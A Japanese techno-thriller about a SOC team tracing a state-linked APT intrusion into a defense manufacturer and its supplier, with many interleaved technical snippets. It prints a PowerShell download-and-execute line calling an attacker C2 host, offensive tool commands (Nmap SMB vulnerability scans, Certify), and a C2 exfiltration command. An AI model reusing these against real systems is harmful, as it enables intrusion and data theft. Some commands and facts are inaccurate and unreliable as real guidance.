top of page

黒狐サイレント・インベージョン


【序章】

―2025年2月15日 午前3時17分 東日電産 中部製造拠点セキュリティ統合室(SOC)―

液晶モニターの海に囲まれた無窓の部屋。うっすらと浮かび上がるのは、監視ソフト「LogStitch360」のダッシュボード。画面中央に、赤いアラートが浮かび上がった。「SIEM Alert #A354782:管理者権限による異常ログイン試行(GeoIP:中国江蘇省・ASN:Chinanet)」メトリクスグラフがじわじわと上昇している。午前3時。通常なら社内は“沈黙”しているはずの時間帯だ。

「また深夜の中国IPか……」

篠田拓也は立ち上がり、椅子を押しやった。35歳。社歴9年目。元インフラ系SIerで、今は東日電産のSOCチームでセキュリティ監視にあたる。無精髭にスウェット、肩には疲労がこびりついていた。

彼は即座にログ統合基盤Elastic Kibanaの検索窓に以下を打ち込んだ。

csharp

event.action: "authentication_failure" AND source.ip: "223.104.*.*" AND destination.port: 443 AND geo.location.country: "CN"

0.4秒後、5件の結果が返された。ログイン失敗。試行回数5回。ターゲットは「sys_adm_maint」と記載されている仮想アプライアンス管理アカウントだった。

「これはテストか……?」

──だが、奇妙だったのは5回とも異なるソースIPであること。それぞれ江蘇省、広東省、山西省、浙江省、北京市からだった。いずれもASNがChinanet/China Unicomである。BOTの分散型ブルートフォースにしては奇妙に精密だった。

しかもその直後、VPNゲートウェイログにも異常が出ていた。

csharp

[SSLVPN] AdminLoginAttempt: suzuki_masaru@tohnichinet.co.jp via IP 223.104.89.24 - ACCEPTED

「……誰だ、深夜にVPN通したのは」

鈴木勝。金属加工ライン主任。普段はタブレットで勤務管理するだけの現場職だ。週末にVPNを使う業務はまずない。

篠田は脳内で“構成図”を描いた。SuzukiのiPadは工場棟東側の無線ネットワークに繋がり、社内のVDIへアクセスする設定になっている。だがこのログが正しいなら「中国からVPNポータルに“彼の証跡”でアクセスした」ことになる。

しかもVPNログのトークン認証ログは成功していた。

「認証トークンが盗られてる──?」

まさか、と喉の奥が冷える感覚が走った。

篠田はEDR(CrowdStrike Falcon)の管理コンソールに入り、「Suzuki端末」と「彼のADアカウントに関連するセッション」のアクティビティを遡った。

bash

Feb 14 22:37:05 - suzuki_masaru logs in to PC-AGNT-0089 Feb 14 22:37:55 - Chrome.exe launches unusual child process Feb 14 22:38:02 - PowerShell encoded command detected (base64)

「食われてる……PowerShell、C2接続してるな……」

彼はエンコードされたコマンドのbase64文字列を複合化した。

vbnet

IEX (New-Object Net.WebClient).DownloadString('http://www.zhcnsync.net/update.ps1')

──国外に設置されたC2(コマンド&コントロール)サーバから、ペイロードをロードしている。

篠田は深く息を吸った。

「初動確認。対象端末感染中。EDR即時隔離。ファイアウォールにブロックルール。」

同時に、Kibanaで関連アカウントの認証履歴を洗い出し、NetFlow分析基盤(ntop-ng)に切り替えてSuzuki端末の深夜帯トラフィックを確認した。

22:38〜23:06の間に、TCP/443で中国国内の12の異なるドメインに対して、約14MBの送信が行われていた。

篠田は叫んだ。

「C2接続、データ抜かれてる!」

しかし、それは「氷山の一角」だった。

彼の脳裏には、過去の事例が走馬灯のように流れた。三菱電機の防衛仕様漏洩事件。NECの潜水艦データ流出。JAXAへのAPT侵入。MirrorFace、Tick、Winnti。そこにはファイアウォールで止まらない国家の意志があった。

篠田はSlackの緊急チャンネルを開いた。

graphql

#csirt-emergency @murakami 部長、即時対応が必要です。 「初動攻撃確認:VPNアカウント乗っ取り→Powershell型マルウェア実行→C2通信→データ流出の疑い」 EDR隔離済。詳細追って報告します。

手は震えていた。

だが、止まるわけにはいかない。

なぜなら、彼の前にあるコンソール画面こそが、この会社の最終防衛ラインだからだ。


第一章:不穏な兆候

―2025年2月15日 8時45分 東日電産 中部製造拠点 情報セキュリティ統合センター(SOC)―

「篠田、もう来てたか。昨日のC2件、追ってる?」

「はい。徹夜明けですが、ログ解析はだいたい終わりました」

空調の効いた監視ルームに、4枚横一列に並んだ湾曲型モニターと、24時間稼働のシステムインジケーターが静かに点滅していた。

篠田拓也。35歳、SOCエンジニア。防衛産業にも関わる東日電産で、インシデント対応の第一線に立つ。手元のテンキーを叩きながら、Kibanaのダッシュボードを切り替えた。

「昨日のマルウェア、PowerShellから感染起点拾いました。Suzukiのアカウントで深夜、EDRがencodedコマンド検出。base64複合化したら↓でした」

scss

IEX(New-Object Net.WebClient).DownloadString('http://zhcnsync.net/update.ps1')

「出たな、China C2定番のスクリプト実行式か…」

部長の村上はため息をついた。

「Suzuki本人にはもう聞いたが、心当たりゼロだ。おそらく週報添付メールがフィッシングだった。本人端末には既にEDR隔離済みだが…」「ですが、問題はその先です」

篠田は、EDRのCrowdStrike Falconダッシュボードを開いた。

「この感染端末から、社内のドキュメントサーバ、ShareServer03へアクセス。その後、PDFとAutoCADファイルをzip圧縮して、Tor Proxy経由で送信ログがありました」

「Tor!? 社内から外に?」

「いえ、まずVPN経由でログイン→Tor Browser(Firefox改造版)が勝手に立ち上がってました。通信先は185.220.101.20、The Tor Projectの出口ノードに登録されています」

村上は顔をしかめた。

「確定か?」

「はい、NetFlow見てください。22:41〜23:03の間で、ポート443/80/9001番を使ったアウトバウンドが12回。IPは欧州、中央アジア、北米。ファイル送信量:16.3MB」

「内容は?」

「暗号化されてますが、名前はHEAT_V6_HomingICD_v9.dwg。熱追尾型ミサイルの制御インタフェース資料です。多分これ、防衛輸出部の外部開発成果品です」

「それが吸い出された…!」

村上はすぐにCSIRT用ホットラインの電話機に手を伸ばした。

―同日 9時10分 東日電産 本社 CSIRT指令室(仮設)―

CSIRTチームのリーダーである篠田は、ホワイトボードに「侵入経路」「感染端末」「拠点名」「対象ファイル」「推定通信先」を分類して書き出した。

  • 起点:VPNログイン(Suzukiアカウント)

  • 感染経路:不審メール内Office文書マクロ/PowerShell起動

  • 第1活動:社内ファイルサーバアクセス、AutoCADデータ収集

  • 第2活動:Torプロキシ経由で国外C2にデータ送信

  • IOC(Indicator of Compromise):

    • PowerShell base64コマンド

    • C2ドメイン:zhcnsync.net(登録者:中国福建省)

    • 接続IP:複数(Tor出口ノード)

「次に疑うべきは横展開(lateral movement)です」

そう言いながら、篠田はEDRログのクエリを再入力した。

makefile

device.process.name: powershell.exe AND event.cmdline: -EncodedCommand AND @timestamp:[now-48h TO now]

結果、同様のPowerShell実行ログが計5台のPCで確認された。

「これらの端末はどれも、Suzukiが利用している製造B棟と同じネットワークセグメント内です」

「それぞれに何があった?」

「感染後、同じC2にデータをPOSTしてました。しかも使用されていたペイロードが異なる亜種。つまり、一度で終わる攻撃じゃない。APTの可能性が高い」

村上は顔を上げた。

「APT…つまり長期潜伏型の高度攻撃…国家系だな」

「この痕跡を追って、外部から協力仰ぎます。JPCERT/CCか、IPAの分析ラボに提出しましょう。IOCリストも添付しておきます」

「篠田、悪いが、政府報告用レポートも作ってくれ。NISCから照会来る前にこっちから送る」

「了解です」

―午前10時30分 製造B棟2階 工場制御ネットワーク・サブネット調査中―

篠田は現地に足を運び、ネットワークスニファ「Wireshark」で異常通信を追っていた。工場棟の制御ネットワークはICMP・Telnetを遮断しており、監視用Modbus TCP通信が定常的に走っていた。

その中に、不可解な**ポート5355(LLMNR)**応答通信が紛れていた。

「LLMNR…社内で無効化されてるはずだが…?」

通信元のIPは 10.245.13.88。名前解決要求に対して「WINS Lookup Failed」応答が繰り返されている。

篠田はすぐにそのIPの端末を隔離し、EDRで再スキャンした。

結果:感染確認。使用されたマルウェア名「Mimikatfox.vbe」

  • メモリ内で認証情報をスクレイピング

  • LLMNRによる認証クレデンシャル中間者攻撃(Responder系ツール)

  • 取得したハッシュを社内ADにリプレイ → ドメイン昇格可能性

「…来てるな。ドメイン横展開が始まってる



第二章:侵食の発覚

――2025 年 2 月 15 日 11 時07 分 東日電産 SOC/フォレンジックラボ

1 深層スキャン

篠田拓也は紙コップのコーヒーに口をつけた。徹夜明けの苦さが舌を刺激する。夜明け前に捕捉した PowerShell 侵入は氷山の一角だ――そう直感していた。だからこそ、彼は夜が明けるや否や Rapid7 InsightVM で全社スキャンを強制実行した。通常なら金曜夜に回す負荷分散ジョブを、水曜の昼に回す暴挙だ。

bash

# 重要機密ネット分を含む全 /16 セグメントを急遽スキャン rvmscan --sites "TOHNICHI-CORP" \ --exclude-tags "ICS_NG" \ --include-asset-groups "AllEndpoints" \ --threads 32 \ --timeout 1800

threads 32timeout 1800 秒。VM 管理サーバのファンが悲鳴を上げた。が、彼は知っている。脅威が潜伏していれば、サーバの悲鳴程度で済む話ではない。

15 分後、InsightVM が異常を吐き出した。“CVE‑2023‑27997 (FortiOS SSL‑VPN heap overflow) ― Critical” が赤く点滅。スキャン対象 IP は 10.152.0.14。これは東日と協力会社「昭南工作所」を結ぶ旧式 FortiGate 60E だ。

篠田メモ Firmware: v6.2.10 build1263 SSLVPN設定 /remote/login 有効 Exploit POC 公開済み(2023/08)篠田は息を呑んだ。「ここから侵入したか…!」

2 感染マップ

次に彼が開いたのは CrowdStrike Falcon Discover の “Host Infection Graph”。Suzuki 端末を中心に Kill Chain が青紫の線で伸びる。

markdown

SUZUKI-IPC → CAD-SRV03 → AD-FS01 → ENG-VmHost12             ↘ FILE-Sync2 → PRINT-01

  • 感染基点:SUZUKI-IPC(Windows 10 22H2, agent v6.52

  • 横展開:Pass‑the‑Hash → SMB Session Setup → Share Enumeration

  • 取得権限:SeBackupPrivilege ― 一時取得 → AD ごと抜かれる危険

Falcon は 130 台の「低度侵害」を橙色で表示していた。CSIRT 全員の手が止まる。130 台という数字は偶然ではない。篠田の脳裏に、2019 年 NEC 事件の「潜伏 27,000 ファイル流出」がフラッシュバックした。

3 課金済み C2

菜々子は IDA Pro で update.ps1 が呼び出す DLL を逆アセンブルしていた。DLL 名は svcevt.dll。PE Header の Rich サインを剥ぎ取ると、CompanyName = InfoTeQ Co.。だが署名は失効済み。「Winnti が好むパターンだな」と菜々子。内部に XOR 0x35 のストリングが眠っていた。

text

hxxp://185.199.220.72:443/api/v1/orders AES_KEY=41c0e55e9916df... Campaign: 黒狐2025 (BlackFox2025)

API パス /orders は APT41 が 2024 年春の台湾素材メーカー侵害で用いた C2と一致する。

黒狐……日本向け新キャンペーン名だろうね」菜々子は眼鏡越しに笑いを殺した。「皮肉なコードネーム。」

4 制御網の滲出

午後 0 時32 分。SOC の奥、ICS‑SOC 専用ノードのアラートが鳴る。“Excessive CIP Write Requests from ENG‑VmHost12 to PLC‑45.xxx”製造ラインを担う Allen‑Bradley CompactLogix 5380 の PLC 45 台のうち 1 台が、短時間に Write コマンドを 300 回受けたという。

PLC 詳細 Firmware v33.011 CIP Security OFF(運用部の事情で無効) セグメント ID: 172.31.40.0/26(生産ロボット群)

CIP Write 回数 300 は通常運転の 30 倍。篠田は Wireshark のフィルタを即席で組む。

ini

eth.src == 40:8d:5c:* and cip.service == 0x4D and svr.addr == 172.31.40.32

パケットを開いた瞬間、背筋が凍る。Tag: SpeedOverride = 125%。「ロボットを暴走させるつもりか!」

ICS‑SOC 技術者の田所が叫び、製造ラインを 5 分間の非常停止(E‑Stop)。だが暴走トリガはまだ実行されていなかった。攻撃者は「最終兵器」として PLC Write を埋め込み、好きなタイミングで生産を破壊する腹だったのだ。

5 AD の黒い影

午後 1 時20 分。篠田は BloodHound で AD グラフを生成。ノード 3,242、エッジ 19,381。異様なほど短い最短経路が目を引いた。

ruby

USER:suzuki_masaru └──(MemberOf)──→ GROUP:Prod-Eng-Local └──(CanIPMI)──→ COMPUTER:ENG-VmHost12 └──(AdminTo)──→ COMPUTER:AD-FS01

IPMI 権限? 「しょうなん工作所」連携用の遠隔再起動権限が生きていた。そこから Domain Admin へ 3 ホップ。篠田は呟く。「最短 3 ホップ。侵入に最適なレールが敷いてあったわけだ」

菜々子が Invoke-Mimikatz で LSASS ダンプを確認。krbtgt チケットハッシュが抜かれていた。「Golden Ticket を作られた形跡がある。」「つまり好き放題、永続的に AD に潜れるわけか…」

6 封じ込め v1.0

CSIRT は Containment Playbook #IR‑02 を発動。

  • EDR で TAG=SuspiciousPowerShell を Network Quarantine

  • FortiGate VPN CVE‑2023‑27997 パッチまで インターフェース shutdown

  • Windows FW GPO:Tor ノード 50,000 IP を Outbound Deny

  • ICS セグメントは L3 スイッチで ACL “Block_Write_CIP” 追加

さらに村上は クラウドプロキシ Zscaler 経由で C2 ドメインをシンクホールへ。ISI(Israel Security Intelligence)のブラックホール IP へリダイレクトし、攻撃者のセッションを切断した。

7 青チームのカナリア

隔離の最中、SOC の Syslog が再び赤に染まる。

yaml

Sysmon Event ID 1: Process Create: C:\Windows\system32\wscript.exe Process CommandLine: wscript.exe //e:jscript "\\10.245.13.88\share\monitor.js" ParentImage: C:\Windows\explorer.exe IntegrityLevel: High

JS ファイル monitor.js は新しいマルウェア dropper だった。隔離したはずの 10.245.13.88――さっき LLMNR を撒いていた端末が共有フォルダに配置。しかも IntegrityLevel: High。UAC バイパス後に実行、感染拡大中だ。

篠田は Sysmon + KQL で同コマンドを叩いた端末を 5 秒で抽出。

kusto

DeviceProcessEvents | where FileName == "wscript.exe" | where ProcessCommandLine contains "\\10.245.13.88\\share\\monitor.js"

ヒット数 27。セキュリティラボ全員の背筋が凍る。「LLMNR だけじゃない。社員の好奇心を突くファイルサーバ汚染型だ」

篠田は「封じ込め v1.1」を宣言。

  • AD GPO で FileShareAutoRun 無効化

  • wscript.exe と cscript.exe を AppLocker で全社禁止

  • 読み取り専用共有も SMB signing 必須 に切替わずか 10 分で 27 台が EDR 隔離されたが、幸い IOC 中のデータ流出ログはゼロだった。

8 国防の眼差し

午後 2 時40 分、本社役員フロア。防衛省情報本部から「緊急連絡」が届く。長谷川直樹が村上に直接電話した。

「MirrorFace 系列の BlackFox2025 に該当するアクティビティを確認。昨年 11 月から国内 5 社で同様手口。今朝、あなた方でも確認されたと公安から連絡があった。こちらでも C2 を掴んでいる。情報共有したい」

やはり来たか――村上は SOC へ戻り、篠田に耳打ちした。「今から政府の共同対処チームへ IOC を投げる。準備しろ」「了解。EDR と NetFlow、生データで 40 GB あります」「とにかく安全な BOX 作ってアップだ」

9 疑似 C2 実験

菜々子は C2 の挙動を解析するために Docker コンテナ でスタブサーバを立てた。攻撃 DLL の AES‐KEY が判明したので、C2 から Push されるペイロードを複合化・可視化できる。

python

from Crypto.Cipher import AES key = bytes.fromhex('41c0e55e9916df...') cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00'*16) plaintext = cipher.decrypt(payload) print(plaintext)

端末に表示された JSON は衝撃的だった。

json

{ "cmd": "exfil", "path": "\\\\10.152.30.5\\cad\\HEAT_V6_HomingICD_v9.dwg", "compress": "zstd", "move_after": "C:\\ProgramData\\tmp\\hidden", "schedule": "0 2 *" }

攻撃者は cron 風スケジューラ を組込み、毎日深夜 2 時に AutoCAD 図面を吸い上げるよう命令。菜々子は「夜だけ盗むから昼間気付かない」と呟く。

篠田は外部アップリンクの Proxy ログ で、zstd 文字列を検索した。

kusto

CommonSecurityLog | where DestinationPort == 443 | where RequestURL contains ".zst"

結果 3 件。サイズは 512 KB、672 KB、810 KB。まだ図面全体は抜かれていない。急げば間に合う

10 パッチと葛藤

午後 4 時05 分。FortiGate の緊急パッチ v6.2.11 が社内ミラーに届いた。だが適用には再起動で 180 秒の停止。昭南工作所とのファイル転送が止まる――生産管理部は色を失う。

高梨本部長が奔走する。「納期が遅れる? 国防機密が漏れるよりマシだ!」声を荒げつつも運用影響の最小化策を指示。夜間停止を前倒しし、工程を 2 時間繰り上げる。「夜中に全部再起動しろ。責任は俺が取る!」

篠田は胸の内で呟く。

“ようやく経営が危機を理解した”

11 静かなる夜の準備

夜。篠田は Azure Sentinel にリアルタイム分析ルールを 3 つ追加した。

yaml

name: BlackFoxFileExfil query: | SecurityEvent | where EventID == 5145 | where ObjectName endswith ".dwg" | where RemoteAddress startswith "223.104." | extend ExfilSize = ObjectServer threshold: 1

閾値を 1 に下げ、Auto‑Response で EDR 隔離を連動。さらに Logic App で Slack #alert に通知、PagerDuty で当直のスマホを鳴らす。

最後、彼は SOC ガラス越しに工場夜景を見下ろした。蒼白い LED 灯が整然と並ぶ。だが、あの光の下にも「見えない侵入者」が潜む。

この章の終盤――23 時56 分、Tor へのアウトバウンドが再び跳ね上がる。だが今回はシンクホールへ。攻撃者は気づかず、自らのペイロードと情報を防衛省側サーバへ送信し始める――。

<章末技術まとめ/IOCリスト(抜粋)>

項目

備考

C2 ドメイン

zhcnsync.net, 185.199.220.72

BlackFox2025 キャンペーン

マルウェア DLL

svcevt.dll

MD5 0e2af5c9d6b4...

DLL 内部鍵

AES‑128 CBC 41c0e55e9916df...

固定

侵入経路

FortiGate SSL‑VPN CVE‑2023‑27997

PoC 公開済

lateral 手口

LLMNR/Responder → pass‑the‑hash → GoldenTicket

Kerberoast 痕跡あり

ICS 攻撃

CIP Write Tag:SpeedOverride=125%

CompactLogix 5380

Exfil ペイロード

.dwg .pdf .xlsm → zstd 圧縮 → HTTPS/Tor

夜間 02:00 実行


第3章:潜伏する影

――2025 年 2 月 15 日 23 時58 分〜 2 月 16 日 05 時27 分

0 闇の呼吸

深夜 0 時直前――SOC の照明は落ち、非常灯だけが青白く机を照らしている。アラートは止んでいる。だが篠田拓也の胸には、終わらない脈動があった。「まだ“黒狐”は息を潜めている」。C2 シンクホールで通信を折らせはした。だが侵入された 130 台の端末のうち、23 台はフォレンジック未解析のままだ。

「潜伏を許した時間=彼らの根の深さ」――NEC 事件の教訓が、脳裏に焼きついている。

そこで篠田は決めた。夜を徹して内部偵察を行う。ターゲットは AD の**“血流”**――Kerberos チケットと LDAP バインドログ。攻撃者は Golden Ticket を持った。ならば逆手に取って、誰が暗闇を歩いているか嗅ぎ出せ。

1 ハンティング・ルーチン

1.1 解像度 30 秒

まず Windows イベント転送(WEF) のサブスクリプションを 30 秒間隔に縮める。通常は 5 分おきの帯域節約設定だが、篠田は GPO 即時更新で以下を投入。

powershell

<# GPO: SOC-KERBEROS-AUDIT #> Set-ItemProperty ` "HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Security" ` "EventLogRetention" 0 Auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable wecutil ss "KerbSub" 30

1.2 KQL スニファ

Azure Sentinel 側でリアルタイム・クエリ。

kusto

SecurityEvent | where EventID in (4768, 4769, 4770, 4771) | where IpAddress !startswith "10." | where TicketEncryptionType == 0x17 // RC4-HMAC | extend TargetUser = TargetUserName, Realm = TargetDomainName | project TimeGenerated, TargetUser, IpAddress, Realm

深夜 0:07。ヒット 1。TimeGenerated=00:07:12 TargetUser=krbtgt IpAddress=10.245.13.88

「あの LLMNR 端末だ…!」krbtgt への RC4 チケット要求――Golden Ticket 生成の傍証だ。

2 血流マッピング

2.1 Zeek+Huntress

篠田は DMZ のブロックトラフィックを Zeek に送っている。だが社内は Microsegmentation のためフルキャプチャできない。そこで**EDR の FDR(Falcon Data Replicator)**を s3://tohnichi-ir に吐き出し、Zeek フィードと突合。

Python でメタ結合。

python

import pandas as pd fdr = pd.read_parquet('fdr_20250215-1700.parquet') zeek = pd.read_csv('zeek_kerberos.csv') merged = pd.merge(fdr, zeek, on=['timestamp','src_ip']) sus = merged[merged['service']=='kerberos' & (merged['ticket_size']>2000)]

該当セッション 62 件のうち、58 件が 10.245.13.88 → AD-FS01。だが 4 件だけ別経路を取っていた。10.245.22.14 → AD-ENG02。この IP は CAD チームの VM ホスト。感染リストに入っていなかった端末だ。

「まだ “死角” がある」

2.2 Sigma + YARA

菜々子は 10.245.22.14 のメモリダンプを Falcon Live Response で取得。Volatility3 にかけ、yarascan に自作シグネチャを食わせる。

yara

rule BlackFoxLoader { strings: $x1 = "BlackFox2025" $x2 = { 8B ?? ?? 6A 00 68 ?? ?? ?? ?? 6A 00 FF 50 10 } condition: filesize < 3MB and $x1 and $x2 }

命中――DLL ntshrui.dll。COM ハイジャックで永続化。篠田は「MS13-038 で見た手口の焼き直しだ」と歯ぎしりした。

3 静脈注射:Shadow Credentials

3.1 ADCS Misconfig

BloodHound クエリ。

bloodhound

MATCH (comp:Computer)-[:MemberOf]->(g:Group)-[:WriteDacl]->(cert:EnrollmentService) WHERE comp.name CONTAINS "ENG-VmHost" RETURN comp, cert

ENG-VmHost12 が CA サーバ PKI-ROOT01 へ WriteDacl。菜々子「証明書サービス乗っ取られたら、Shadow Credentials 作られる」

篠田は Certify で検証。

powershell

.\Certify.exe find /ca:Pki-ROOT01 /vulnerable | fl

ESC1 と ESC8 脆弱なテンプレート 2 件が露呈。攻撃者は ESC8 を悪用し、自分の altSecurityIdentities に偽装証明書を登録。Kerberos S4U2Self で権限昇格を可能にしていた。

4 リコンズ・リコンズ

4.1 域外ビコン

シンクホール結果を NISC に共有して 3 時間。長谷川直樹から暗号化チャットが来た。

長谷川「C2 側で未照合の HTTP Beacon を捕捉。/api/ping に 10 分間隔 PUT。X‑Host: “river‑stone”」「そちらに “river‑stone” という端末名は?」

篠田「ない」菜々子が AD を river* で検索――ヒットなし。しかし MDT サーバのタスクスケジューラに残っていたログの中で「TaskName=\RiverStone\IntelFWUpd」を発見。MDT は開発ネットとは論理分離のはず――壁を越えた?

4.2 SQL の窓

MDT サーバは社内 ERP(SQL Server 2019)と Linked Server を組んでいた。篠田は SQL ログインの失敗を抽出。

sql

SELECT TOP 50 login_name, client_net_address, failure_reason FROM sys.dm_exec_connections WHERE login_name LIKE 'river%' ORDER BY connect_time DESC;

river_admin で失敗を繰り返すログ、IP は 10.245.22.14。CAD チーム VM ホストから ERP へ。攻撃者は ERP の中へ“財務データ”を掘りに来ている。が、真の狙いはERP → 社内 PKI → ログイン証明書。証明書を手に入れ、VPN を欺き、国外のミラー工場 PJ にまでアクセスする布石だ。

5 深部摘出作戦

5.1 Mintaka

村上は「作戦名:Mintaka」を宣言。Mintaka はオリオン座の三ツ星。目標:

  1. CAD ホスト群を即時隔離、仮想マシンをスナップショット

  2. AD CS の ESC8 テンプレートを無効化(DSRM 使用)

  3. CA 証明書の LR(Log Replay)で偽登録を発見し削除

  4. ERP の Linked Server を切断し、財務 DB を只読みへ

5.2 PS‑Remoting via JEA

篠田は JEA(Just Enough Administration) セッションを使い、遠隔で CAD ホストを落とす。

powershell

Invoke-Command -ComputerName ENG-VmHost12 -ConfigurationName TohNICHI.JEA ` -ScriptBlock { Stop-Service -Name "VMMS" -Force Get-VM | Suspend-VM }

6 ドライアイス

0 時→3 時。室温 18 ℃ の SOC で、篠田の指先は冷え切っている。だがコンソール内の“熱”は上がる一方だった。CAD ホストから出た zstd 圧縮ファイルが、今度は SMB 445 で FILE‑SYNC02 を経由し、minio オブジェクトストアに落とされかけた。

菜々子は SMB Relay を疑い、Responder の痕跡を追って LLMNR を 0.0.0.0 へリダイレクトする GPO をプッシュ。同時に minio サーバのバケットを immutability lock に切り替え、書き込みを無効にした。

7 影の正体

7.1 Yagi‑ant

午前 4 時10 分。長谷川から再度連絡。「国際バックボーン上で river-stone Beacon の再帰 DNSを追った。終点は中国海軍研究所 IP ブロック」――APT41 系列であることへの裏付けが取れた。

7.2 黒狐の足跡

IOC に “BlackFoxLoader” の新バージョンが追加。DLL 名 winnet.dll。MD5 d41d8cd98f00b204e9800998ecf8427e――奇妙に空ファイル。菜々子が言う。「置換トリックだ。解析阻止用のダミー MD5 だよ」ならば SHA‑256 を取る。4f70bfe74e9d2c5a47c...。VirusTotal 未登録。ゼロデイの証

篠田は決意する。「根絶まであと一息だ」

8 暁の復位

8.1 ESC 高速修復

午前 5 時03 分。CA サーバ PKI-ROOT01 で以下を実行。

powershell

# Disable vulnerable template certutil -setattributes "UserAutoEnroll" +EXTENSION_PEND_ALL # Revoke rogue certificates certutil -revoke <serialNumber> certutil -crl

8.2 Golden Ticket 無効化

powershell

Reset-KrbtgtKey -Force -Confirm:$false

二度のロールオーバー。篠田のまぶたは重い。だが目は冴えていた。

9 夜明けのディテクション

05 時27 分。SOC の大型モニターに、最後の赤が緑へ変わる。Critical: 0 High: 0 Medium: 4 Low: 23

村上がコーヒー片手に戻ってきた。「お疲れ。Mintaka は成功だ。防衛省からも“阻止確認”と入った」篠田は背もたれに沈み込む。杭を打った、そう感じた。だが“影”は滅んだわけではない。

ログにはまだ未解析の低レベルアラートが溜まり、夜明けの工場は再起動の準備に追われる。篠田の心臓は静かに鳴っていた。新しい一日が、また始まろうとしている。

◆第3章主要コマンド・ツール索引(抜粋)

カテゴリ

ツール・コマンド

目的

監査

Auditpol, wecutil

Kerberos 詳細ログ有効・イベント転送

検索

KQL, Zeek

チケット異常・外部 IP 検出

フォレンジック

Volatility3, YARA

DLL/Persistent Object 抽出

AD 可視化

BloodHound, Certify

ESC8/Shadow Credentials 解析

隔離

EDR Network Quarantine, GPO ACL

感染端末・C2 遮断

CA 修復

certutil, Reset-KrbtgtKey

惑星 Mintaka 作戦 成功



第4章:供給網の罠

――2025 年 2 月 16 日 09 時12 分 昭南工作所(Shonan Works)本社/静岡県裾野市

0 外部拠点 IR(Incident Response) 出動

高速道路を北上するワンボックスの荷室で、篠田拓也はノート PC の画面を睨んでいた。隣席の杉本菜々子が LTE ルータを膝に載せ、ライブで EDR テレメトリを同期している。前夜掴んだ CAD ホスト経由の “river‑stone” ビーコンは、昭南工作所の VPN 網 を踏み台にしていた。東日電産から約 70 km――サプライチェーンの最も脆弱な輪が、やはり切れようとしている。

作戦コード:SC‑IR‑01 目的:侵入の起点と C2 トラフィックの完全遮断 範囲:昭南工作所・裾野本社、鷹津工場、静岡物流 DC 参加:東日 CSIRT 4 名、昭南 SE 2 名、外部 DFIR コンサル 2 名

篠田は社用スマホで Slack を開く。

arduino

#csirt-field ▶︎ 到着予定 09:10 ▶︎ FortiGate 60E firmware v6.2.10 build1263 confirmed vulnerable ▶︎ 引継 VPN config export 済

車窓に富士山の白い稜線が過ぎた。空は薄い雲。敵は既に山の向こう側に潜んでいる――そう思うと、呼吸が浅くなる。

1 脆弱装置への第一接触

1.1 ファーム確認

昭南の情シス室。埃をかぶった 19 インチラックに FortiGate 60E が二段重ねで収まる。CSIRT コンサル佐藤が CLI を開いた。

makefile

FGT60E # get system status Version: FortiGate-60E v6.2.10,build1263,211227 (GA) Virus-DB: 78.00644(2024-11-20 18:56)

ビルド 1263。CVE‑2023‑27997 のパッチ前。篠田はパケットキャプチャを開始。

nginx

FGT60E # diagnose sniffer packet any "tcp port 443 and host 10.152.0.14" 4 0 a

3 秒で ClientHello。SNI は vpn.sho-nan.co.jp。だが次に現れたのは SessionID ≠ Null の変則 TLS。random gmt_unix_time = 0x00000000――PoC Exploit の典型パターンだ。

ヒープオーバーフローの悪用痕跡、ほぼ確定」菜々子がつぶやき、PCAP をエクスポート。

1.2 メモリダンプ

FortiGate は BusyBox 派生 Linux。脆弱性が叩かれた直後、/dev/ttyS0 に FGT60E undefined instruction が残ることが多い。そこで UART コンソールケーブルを挿し、diag sys flash list を実行。

makefile

Crashlog: crash.20250212.011501.core

2025-02-12。三日前。長谷川が注意喚起を出した日と符合する。佐藤が crashlog を吸い上げ、GDB でスタック逆引き。

css

Backtrace: ipsecvsn_ex() -> sslvpn_check_auth() -> memcpy()

想定どおり悪用ポイントは memcpy()。PoC で用いられたパス長 0x270 を超えて書き込み、権限昇格シェルを出す型。

2 一つ目のドア:旧 NAS

2.1 SMBv1 ゴースト

昭南では FortiGate 直下に QNAP TS‑431P NAS (FW v4.3.4) がある。ローカルに “仕事共有” を置き、VPN ユーザは自由に読めた。菜々子が NAS へ Nmap。

css

nmap -p 139,445 --script smb-vuln* 10.152.0.20

smb-vuln-ms17-010: VULNERABLE と赤字。WannaCry 時代から止まったままの SMBv1。篠田はため息。「ここが横展開ハブになったんだ」

2.2 感染 DLL

NAS 上の \\NAS\share\tools\WinUpdate\winnet.dll が 1,024,000 bytes。ハッシュは東日で捕捉した winnet.dll と一致。NAS で Recycle Bin を見ると下記 3 ファイルが日時偽装で削除待ち。

  • update.ps1
(2023‑10‑12 00:00)

  • mssvhosts.dll
(ゼロバイト)

  • blackfox.ico

タイムスタンプは 2025-02-14 22:36――Suzuki PC が侵入された 5 分後。VPN → NAS → SMBv1 → Suzuki PC――最短経路が繋がった。

3 第二のドア:制御網との細い管

昭南は金属プレス加工を行う中小規模だが、東日の製造ライセンスの一部を継承。情報系 VLAN と OT VLAN は L3‑SW で論理分離のはず。ところが配線を追うと、管理者用 KVM スイッチ から OT 側に 1 本だけ CAT6 が出ていた。篠田が L3‑SW に ssh。

makefile

sho-vl-sw01# show mac address-table vlan 217 | include f0/47 10:52:8b:11:0a:76 DYNAMIC Gi0/47

Gi0/47――問題のケーブル。MAC は Dell KVM。人が便利にした抜け道 は、攻撃者の最短路になる。

3.1 PLC Shadow Tag

KVM 直下に置かれた Windows 7 ‑ 32bit PC の RAM から、菜々子が Volatility apihooks を実行。

lua

Hooked function: WriteFileA @ 0x76f123d0 -> 0x00401000 (BLACKFOX+0x1000)

WriteFileA フックで PLC へ書く DLL が仕込まれていた。タグ名は SpeedOverride, データ型 REAL, 値 1.25e+00。これが前章で見た 125% 書き込み。昭南にも同じテンプレを用意していたのだ。

4 踏み石の記憶

4.1 Sysmon on Legacy

昭南の端末は Windows 7 が 40%、Sysmon 未導入。篠田は Sysmon v13 を GPO インストールし、Logstash → Elastic へ。

1 時間後、EventID 1(ProcessCreate)が大量に。powershell.exe -enc ... の連鎖。Ascii85 エンコードの亜種で、ベクタはメール添付 価格改定通知.xlsm。Japanized スピアフィッシング。メールヘッダー偽装「東日購買部」。

篠田は O365 ログを掘る――SPF fail, DKIM none を見逃し、クラウドメールゲートウェイも隔離しなかった。中小企業の典型的弱点が突かれていた。

5 遮断と療治

5.1 ゼロトラスト的応急

  • FortiGate 60E:緊急ファーム v6.2.11 へアップ、SSLVPN を portal‑only に。

  • TS‑431P NAS:SMBv1 強制無効、host allow = 10.152.0.0/24 のみ。

